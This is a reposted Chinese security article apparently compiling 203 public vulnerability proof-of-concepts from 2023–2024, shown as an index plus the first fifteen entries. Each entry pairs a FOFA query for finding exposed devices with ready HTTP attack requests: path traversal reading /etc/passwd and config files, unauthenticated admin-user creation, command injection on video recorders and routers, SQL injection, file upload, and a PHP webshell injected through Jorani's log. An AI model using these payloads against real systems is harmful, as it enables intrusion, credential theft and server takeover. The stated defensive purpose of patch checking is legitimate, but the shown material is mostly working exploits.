互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

! `2 F! t8 o& B7 c( i; b发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

9 m) Z$ G3 J4 U9 \# T漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
! f$ B  r8 z0 _8 s. k
, i0 W8 h  E: J$ w4 ^安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

( d- Y# t( z6 J/ U. ]) U文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

* @! z$ f* _+ u3 q2 ^合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

. {! \5 K- t5 r2 B% Y
声明
  t# c: g* V1 a  D$ @% Q( ~
4 K! o& H7 [8 v/ j, [# b& z为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
' W; d6 x6 ?* Z6 f2 h! t, A
) [  d! o7 U9 N8 b有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
( F: g( p0 M0 G

& p  D# B/ u+ ^5 ^% U3 p
9 Q! T# s% b% Y: {, i& i2 G/ T3 k目录
6 E# i7 u( r5 v8 @( z( g* z
01
+ \5 N/ ]' H7 H' W: D! d$ o
% ~7 w% l/ V% n, R+ d1. StarRocks MPP数据库未授权访问
) u9 R8 S# R7 Z5 G& h; T2. Casdoor系统static任意文件读取
5 y6 |- Q" T8 O4 D) B3. EasyCVR智能边缘网关 userlist 信息泄漏
" }1 O; {0 h9 C8 n& Y& B4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
" K9 I2 ], i2 |9 k8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
. s- H$ ~$ f) X9 R# @: M10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
0 @. g/ @( Q4 @* `, J6 H14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
# Z8 ?5 ~  q4 C* y: j  W16. 红帆HFOffice医微云SQL注入
' Q5 s2 H2 E% j2 X& R  D17. 大华 DSS itcBulletin SQL 注入
( u4 F/ v/ k# a$ }: `" |18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
  r( M5 _  Y4 {6 M19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
* v9 T5 k1 r" Y' v6 z/ \. |( {20. 大华ICC智能物联综合管理平台任意文件读取
  D5 u# Z# `" Y- |% T21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
/ {2 e2 J; h9 r2 m3 K24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
5 }" W/ V) P  X7 h26. 用友NC linkVoucher SQL注入
2 R$ }( |1 p2 ?2 R5 T( P2 v8 O27. 用友 NC showcontent SQL注入
  s" z+ p  z; G* N9 M28. 用友NC grouptemplet 任意文件上传
  f, y, h$ ^# v" n9 M! x- v' A29. 用友NC down/bill SQL注入
8 b8 f  {- g9 c% |) o  T30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
( g9 r$ M1 }8 Y; I2 m32. 用友NC complainbilldetail SQL注入
* n4 ?9 R5 V4 r5 }' X33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
" }/ a0 ?. m4 r; _, I35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
* d, M3 w8 `4 I+ o37. 用友NC-Cloud IUpdateService XXE
% j9 U2 E. n; Q" s* i. ?/ P38. 用友U8 Cloud smartweb2.RPC.d XXE
5 Y  F$ x% y' a( z39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
4 X: d$ Z0 ], M9 d+ X, U, u44. 用友GRP-U8 bx_dj_check.jsp SQL注入
. k- k, I- A+ |  ~/ D45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
3 ?( O- ]5 M; {  w6 a3 _$ _( F48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
" K6 U8 P6 D; i. n50. QDocs Smart School 6.4.1 filterRecords SQL注入
/ f4 k- @" ~2 U8 I  U9 u  j1 x. x1 e51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
$ k" e/ a& A* b1 a52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
$ G/ x8 m  {& p% S" T54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
. b* \( ^' g$ q% O' l$ r# O# n0 a57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
& j8 `, _! h3 I. t- S59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
8 ~. t' B5 u, a  M. ]6 Z0 F62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
* |! }$ u; ?+ x- w65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
# X8 [) j, @' u* m# Q4 t$ k1 C% C73. GeoServer wms远程代码执行
  @* V. Q) j1 W  d74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
7 M. e" x, j9 c/ ^+ q: e7 L76. 新开普掌上校园服务管理平台service.action远程命令执行
- T9 {6 h. o+ x77. F22服装管理软件系统UploadHandler.ashx任意文件上传
5 o/ J( t# q  @+ I$ w& a78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
# W) F0 q3 f, N1 X79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
- G% }2 q4 C) r, i81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 g0 {& ?, A9 n( R* d' a" v82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
! M8 x1 g; t+ ^4 i0 G# J/ k, B83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
( H, _! U2 r3 w7 j85. SysAid On-premise< 23.3.36远程代码执行
+ I& o$ P+ E' f86. 日本tosei自助洗衣机RCE
+ q$ s4 x# n- d  {* T, F. U# D8 h87. 安恒明御安全网关aaa_local_web_preview文件上传
5 L; Y& G# K. [; X3 y2 b88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
! T7 c3 @2 P0 {4 t2 _7 G# V& g8 n90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
7 c. t6 _1 q! y9 G$ C; w+ i91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
8 z) R1 Z; k3 i, E# d( f92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
$ i; V0 N' n% M( {9 n& B" Z94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
6 |" ~/ [0 c- G7 y0 u95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
, Q5 t5 x# x& z& Z: c4 B1 n97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
' W# U9 @8 E& }  X3 m/ A  j- |100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
" B% @, L  N; j  Z* z8 O101. ivanti policy secure-22.6命令注入
6 L7 |/ B% W7 F! H$ C- @0 B102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
* [$ Y$ @& Q9 Y& Z5 e( l103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
0 I9 c5 o/ ]9 F2 r7 v105. SpringBlade v3.2.0 export-user SQL 注入
. E2 x+ R/ ?6 l1 ]2 ?. ]106. SpringBlade dict-biz/list SQL 注入
' c& l7 ?) @& D% M. w4 @; `% ?8 f107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
8 F2 j; x5 u& y111. WordPress Plugin HTML5 Video Player SQL注入
3 o% `' `2 s$ ]* m; P112. WordPress Plugin NotificationX SQL 注入
; ^4 m9 [, g: {' o: a0 y113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
1 M# b0 }# }, A% O115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
6 h5 c6 E4 g. X$ B# M117. WordPress LayerSlider插件SQL注入
; X: e* ~+ ~0 W5 g6 w118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
. R$ L4 ^' }8 k. R) N5 f119. 北京百绰智能S20后台sysmanageajax.php sql注入
! C3 x; o, k7 Y/ b+ V2 ?9 j. S120. 北京百绰智能S40管理平台导入web.php任意文件上传
' c* f$ e' l2 Q/ \7 P121. 北京百绰智能S42管理平台userattestation.php任意文件上传
6 U6 ]# A+ }" ~) b: {0 y8 h122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
& J* o  Y0 }. }, V/ W9 ^7 o124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
  F, @, @7 \# {& Q! X7 D2 n9 B126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
/ G# X, ~6 Y, p" i# g$ q128. Adobe ColdFusion 反序列化
8 s- |  j4 j% S2 |129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
! h# o  e. o/ P; [3 N5 U$ O135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
2 r! X8 H0 X# i* ~138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
+ b3 G8 p" I7 Q. C. w1 L! p  L0 o* z140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
# I- V/ s1 P: f1 d& `3 y2 V" H145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
( U2 W; U. `9 L9 S0 q147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
1 g8 a$ M4 I5 T! a# @; R7 P1 P150. AJ-Report 1.4.0 认证绕过与远程代码执行
; H2 o1 f. p6 h5 a0 A* ^8 A# o' X151. AJ-Report 1.4.1 pageList sql注入
4 z  n' B# @4 [/ l5 W152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
3 J, \  v, V, m* u5 e8 Q7 t156. TBK DVR-4104/DVR-4216 操作系统命令注入
' |" g  t  @! G+ D157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
2 j# k/ o" C) o- c# l8 }# h7 `161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
/ m4 M: A9 z; a1 q8 l7 W# M164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
; J1 {. P' {" ?* V0 H' X# P167. 精益价值管理系统 DownLoad.aspx任意文件读取
$ n: q( R8 D3 O# X( A# I168. 宏景EHR OutputCode 任意文件读取
! r$ U1 ^  e8 s9 {- {169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
* |; S( _4 @% ^: s171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
1 |% H; s) Q6 F% V' Y6 J175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
" n9 i! j. U% R178. H3C校园网自助服务系统-flexfileupload-任意文件上传
: w( ?6 @: e$ n; c* O6 D179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
5 ~' |$ \4 j/ Z  O& m183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
7 F. W( o- N/ Y, @* x" f4 x184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
/ C  U3 Y! ]3 S! L$ p1 g189. 蓝网科技临床浏览系统 deleteStudy SQL注入
# k$ z/ Q8 E# Y& ?190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
& A& F; M& w* H! ?0 D2 G# {192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
; d: v7 G- ]+ f+ }194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
! p: ~. c1 t: K! k" u197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
) E( q# ^( |9 v% y201. 方正全媒体新闻采编系统 binary SQL注入
3 ]1 t, L2 q( C+ K% ]! A3 s202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
! ^5 A1 J& K# [+ x# i
' R/ R9 r& _$ a- R# X3 k& P% H- jPOC列表

' U7 D/ s+ _. ]02
$ O9 p* B1 ?7 t/ o; }$ b
1. StarRocks MPP数据库未授权访问
1 M- B5 W/ n: T3 MFOFA ：title="StarRocks"
, i! ?- l+ i3 F% [' sGET /mem_tracker HTTP/1.1
; |' m0 G' [( wHost: URL


9 x' q& i9 o* m& p) L" L2. Casdoor系统static任意文件读取
3 j, u8 W8 Y# J. ~FOFA ：title="Casdoor"
' s+ J/ E9 r; [1 R: h( }GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) Y; a5 {% `9 \5 s) ~5 O, L: vConnection: close
Accept: */*
Accept-Language: en
5 o" C( A( T5 |) S' ?Accept-Encoding: gzip
: ]& D& A* x0 q8 `/ v
: G8 [) k8 H0 B" M
, B" V9 g7 J" x9 B8 R3 E1 G: v+ [! h& r3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
5 a" P: w  ~# R/ C$ MGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
* ?3 D+ B2 h/ r, q* v$ DFOFA ：title="EasyCVR"

, B& T% O% s5 q' N7 ?7 J) Jpassword更改为自己的密码md5
2 [0 a* G; C% tPOST /api/v1/adduser HTTP/1.1
& P3 i# w4 W( ]- m0 \2 [$ LHost: your-ip
0 f& P' `' b2 k& V  i' h6 tContent-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
9 N2 J/ Z, k+ q3 T' S- GFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
% I4 `7 ~5 I3 z/ y! p; Y

4 m% t; H1 {) J! f$ H+ T/ L7 a6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
" D2 K* J: h8 A# @& `2 vHost:
% H6 @# H2 p, L1 d* R( b! J
4 Q7 A( I3 m, p5 P" R
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
+ ]/ p" i0 p; `0 T! p2 K9 c/ _GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
0 n; m+ G; m- _- LHost:
0 e3 l8 g& T4 Q$ n( R" N
+ \7 q1 G. W( ^* @: r! Q
8 E# c% o0 C3 X+ H% @) {/ a8. 斐讯 Phicomm 路由器RCE
" i, c2 G9 ~  d1 H; g" IFOFA：icon_hash="-1344736688"
% q  M" B- ~3 P. `! `3 Y4 B, e1 f默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
3 s; V4 J7 r/ Z9 P* W1 bHost: x.x.x.x
4 v) h3 O) m0 x. u9 V7 gCookie: sysauth=第一步登录获取的cookie
0 w4 a. m1 \4 Y7 X8 KContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
# M1 |; c5 w& EUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
, }% [" k+ z% [& |. G$ f
; f' i) V( u3 G: z------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
3 ]" E3 l; p" X+ x. U------WebKitFormBoundaryxbgjoytz
) v4 S& [; k3 h0 M- B0 }Content-Disposition: form-data; name="wifiRebootrange"
  `+ z9 }" ]* b
9 k. |7 p1 s! J6 f0 B12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
) u! K% n/ N8 X: _  J$ W5 l
6 F6 Q9 U* k2 d- f: n%s:
------WebKitFormBoundaryxbgjoytz
, U! v. r$ q) d9 j' YContent-Disposition: form-data; name="cururl2"
( j! k6 c. j' E+ N
1 }8 ^) N6 e# T( y% o) m9 i8 q
* P/ l7 Y8 {% z- Q$ h! s------WebKitFormBoundaryxbgjoytz--


4 I& n  z  t. ^9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
/ |5 h/ {# g" l4 j: |1 w  kGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
5 \/ N$ R' }+ l% X3 [  W

7 o1 t! A4 n! Z. [+ H( vpayload为下列语句的二次Url编码
, a7 t. W1 B  {, b& ~: {
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
6 Q# P# y4 T9 F& o. {
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

$ Z& k9 n, H% W, l( [- b3 W% d4 d  d文件上传后响应中包含上传文件的路径
* z& _# f$ Z( }4 g6 SPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
$ b/ H3 B  U/ V' b; U% j, W7 Y% tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
) b- |4 u$ c* P& C  gContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
- d4 Q$ _7 O2 o: ~0 R8 uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
4 M1 }$ w& J% T+ l- _' n
------WebKitFormBoundaryxdgaqmqu
; C! n, A1 P' C2 I" p0 |Content-Disposition: form-data; name="file"filename="icfitnya.txt"
1 C3 C- B$ F$ v5 uContent-Type: text/html
6 }' `$ D4 T' c. }. l9 S
; F6 H7 R3 y2 ]/ xjmnqjfdsupxgfidopeixbgsxbf
9 i# T' W  a% \; h; b: w" u------WebKitFormBoundaryxdgaqmqu--

; ]! K! m' M, m1 o: {- i( f
$ Y4 v1 \# m4 ]- m2 \) `0 n! a11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
+ t! u. w( {4 u2 R) m4 qFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
7 Z3 r/ \  I) R( J7 {* q# pGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
- l1 ?; g/ y% ~5 O! V/ ?Host: 127.0.0.1
# z, w/ e2 O, |Pragma: no-cache
Cache-Control: no-cache
% z& a9 V8 @9 _Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 ?! _: T) R! YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
+ n5 A) X: A" e# IConnection: close
3 a6 |6 [$ T* c$ M( ]

12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
3 m! h7 F: M9 r$ Q8 D1 N第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
* l' l0 H9 O8 |$ D# sUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

6 j9 H! \$ b2 @  F! \
3 k0 t2 n: C. `- o! y+ Q( u响应中csrf_cookie_jorani用于后续请求
( d5 T5 {8 m4 T. e7 DHTTP/1.1 200 OK
Connection: close
# Y0 R6 z% u: j8 p0 o) ~9 xCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
# K4 @. G) Z5 X- D& _$ iLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
) @. ]# p/ e8 F$ d: m, x. Y% b' E% YPragma: no-cache
0 X4 O* c6 z. R/ hServer: Apache/2.4.54 (Debian)
6 E" P0 p; l( {- V2 eSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
- d& l# ~: l# M" f8 sSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
3 R& k/ _2 H7 f. p: {Vary: Accept-Encoding


POST请求，执行函数并进行base64编码
) R3 J+ v$ ?. X( }) k. [POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
( ]) y2 n" W4 I- O- mConnection: close
- C1 }% C6 u% d, ^Content-Length: 252
" F/ `* T: T+ [. P5 a# r/ O+ x+ }3 ?Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
0 C  y& P/ E; k& m/ v
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
# K3 ^9 z+ M2 p5 k6 [

3 ^9 U2 s' }" n/ |8 A
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
1 e, ^& T1 \& K; J* m! RHost: 192.168.190.30
* |* m1 w% I. y1 D( e6 n) Y! @: VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
0 Y" b0 S$ q* l* DCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
9 `" s0 L. e& I! B3 K. FX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
% P6 P; M/ o1 l
1 |9 c7 R3 B2 ~) |3 U' E
13. 红帆iOffice ioFileDown任意文件读取
6 a. P( v! R+ C* O" iFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
; c* \3 U9 p7 x% x" a' UHost: x.x.x.x
; I6 h: Q, [$ @" NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& [3 g; G$ s3 wConnection: close
' J4 A' g0 E$ \8 M% m) \6 A! VAccept: */*
; r  a- f3 p( v! w1 |Accept-Encoding: gzip
, Q$ }0 v! F$ F, @% V
" [7 c4 B9 W6 K- H6 C
14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
9 c% ^5 L  E& \& f1 O7 U1 g7 Z8 `Host: x.x.x.x
  U+ u$ Z. u1 `* Q0 R2 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
! J  P1 w* }1 ]  p6 ~( J3 IConnection: close
3 O( p/ Q* j# m" NAccept: */*
( D( a' K  D' |# Z4 Q; i6 TAccept-Language: en
* r9 D3 b+ [' |" f" Y& a* S9 oAccept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
7 E$ [+ H, s7 h+ qGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
& P, u6 ]8 S( ~4 e% CHost: 192.168.40.130:100
